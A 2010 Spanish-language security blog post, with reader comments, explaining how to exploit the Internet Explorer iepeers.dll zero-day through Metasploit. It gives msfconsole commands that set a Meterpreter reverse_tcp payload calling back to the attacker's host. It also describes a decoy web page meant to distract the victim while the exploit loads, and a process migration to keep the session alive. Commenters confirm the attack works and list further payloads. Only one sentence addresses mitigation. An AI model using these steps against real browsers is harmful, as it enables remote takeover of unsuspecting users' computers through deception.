lunes, 15 de marzo de 2010

IEPeers 0-Day: Explotando (otra vez) Internet Explorer

Hace unos días, el pasado día 9 de Marzo, Microsoft publicó un Advisory que nos comunicaba la existencia de una Vulnerabilidad Zero Day en Internet Explorer 6 y 7, sin parche disponible, que podría ser explotada para ejecutar código de forma remota.

Dicha vulnerabilidad ha sido ya utilizada para la propagación de malware a través de Internet. El exploit utilizado ha sido obtenido y analizado, y ya ha sido portado a Metasploit, por lo que cualquiera puede utilizar este conocido framework de explotación para combinar esta nueva vulnerabilidad con nuestros payloads favoritos, en lugar del payload del malware con el que se encontró originariamente.

La vulnerabilidad encontrada es muy similar a la explotada por el famoso Aurora Zero-Day utilizado contra Google China, del que ya hablamos en su momento en un par de ocasiones. En este caso la vulnerabilidad se encuentra el la librería iepeers.dll y consiste en la realización de un acceso a memoria a través de un puntero previamente liberado, todo ello a través de Javascript:


Para utilizar Metasploit para explotar esta vulnerabilidad no es necesario descargarse el plugin del enlace que hemos referenciado, ya que forma parte del repositorio oficial de Metasploit, por lo que solo tenemos que actualizar nuestro framework:

# cd /opt/msf3
# svn update

Una vez actualizado, arrancamos Metasploit y seleccionamos este plugin, y nuestro payload favorito, en este caso Meterpreter:

# ./msfconsole
> use windows/browser/ie_iepeers_pointer
> set PAYLOAD windows/meterpreter/reverse_tcp
> set LHOST [BackTrackIP]
> show options


Una vez preparada la explotación ya solo tenemos que lanzar el exploit, el cual levantará un servidor web en el puerto 8080 y nos proporcionará una URL que el navegador víctima deberá visitar para ser explotado:

> exploit


Sin embargo, si utilizamos este exploit directamente contra un navegador, veremos que el navegador se queda completamente bloqueado o incluso que se cierra, así que vamos a introducir una pequeña variante para ocultar un poco la explotación de una manera no demasiado complicada ni sofisticada.

Para ello, levantamos un servidor apache en el puerto 80 con un simple HTML, a través del cual mostraremos una web "señuelo" para entretener al usuario mientras se lanza otro navegador que visita la URL que nos ha proporcionado Metasploit:

# cat /var/www/index.html


Bueno, pues ya lo tenemos todo listo, ahora solo nos queda que un pobre incauto visite nuestra web trampa. Podemos observar en el siguiente video como sería el efecto visual, además de como migramos Meterpreter de proceso para que no nos quedemos sin conexión al cerrar el usuario el navegador, todo ello de forma automática:



Estas pruebas han sido realizadas con Internet Explorer 6. No se han obtenido pruebas satisfactorias con Internet Explorer 7, ya que el exploit ha sido creado a partir del malware original, que parecía tener como foco únicamente la versión 6 del navegador de Microsoft. Sin embargo, la versión 7 del navegador también es vulnerable, y con algo más de esfuerzo podría obtenerse un exploit completamente funcional.

Para mitigar esta vulnerabilidad, se recomienda a todos los usuarios de Internet Explorer que actualicen su software a Internet Explorer 8, ya que esta versión no se ve afectada por la vulnerabilidad.

10 comentarios :

Nico Waisman dijo...

No entendi muy bien, por que marcaste el "delete" en rojo cuando mostras el exploit.

a0rtega dijo...

Precisamente ayer estuve probando este exploit, y funciona de maravilla, si señor :)

Jose Selvi dijo...

@Nico: está marcado en rojo porque es la parte del exploit en la que se libera ese puntero que comentábamos en la explicación.

@a0rtega: En Internet Explorer 6 sí, en el 7 pega un buen petardazo aunque el TARGET de Metasploit dice que también vale para IE7. Tú lo has probado en IE7 y te funciona?

Saludos a los dos y gracias por vuestros comentarios.

a0rtega dijo...

@Jose Selvi: El IE7 se queda colgadísimo, y hay que reiniciarlo. Para entonces ya se ha explotado, y en este aspecto sí funciona todo correctamente. Lo he probado con los payloads meterpreter/reverse_tcp, shell/reverse_tcp y download_exec en la versión de IE 7.0.5730.13, y todos funcionan as expected ;)

Saludo!

Jose Selvi dijo...

@a0rtega: Yo lo he estado probando con la misma versión que tú (Sistema en Español, no?) y el proceso revienta antes de establecerse la sesión. Ni siquiera intentando lanzar un "calc.exe" funciona.

Probablemente tengamos diferentes niveles de parcheo, pero lo que está claro es que el exploit no es muy "reliable" en IE7.

Saludos y gracias por tu comentario ;)

a0rtega dijo...

@Jose Selvi: Español, SP3 ;-) Saludete!

Jose Selvi dijo...

@a0rtega: Pues igual que yo :P

Seguramente serán los parches. La máquina que yo uso es una que no tiene los parches de seguridad puestos para probar todas las vulnerabilidades que salen. Si tú sí que le pones parches, igual alguno de los parches cambia algo que al desarrollarse el exploit se ha tenido en cuenta que existía y que en mi máquina virtual no existe.

Voy a ponerle los parches a mi máquina virtual a ver que pasa.

Ya os contaré.
Saludos.

Nico Waisman dijo...

@Jose Selvi: En realidad el bug en si no esta en el delete, sino en el setAttribute que es el que termina llamando a un Release del objeto y hace un free.

Un abrazo

Jose Selvi dijo...

@Nico: Tienes razón, ese delete sólo es para eliminar una variable que se ha usado para crear el relleno.

Sí es que no se puede mirar rápido 1 exploit :P

Gracias por la observación @Nico ;)

Bezerik dijo...

Me ha gustado el artículo, lo he provado y me ha funcionado en IE6.

Buen post

Saludos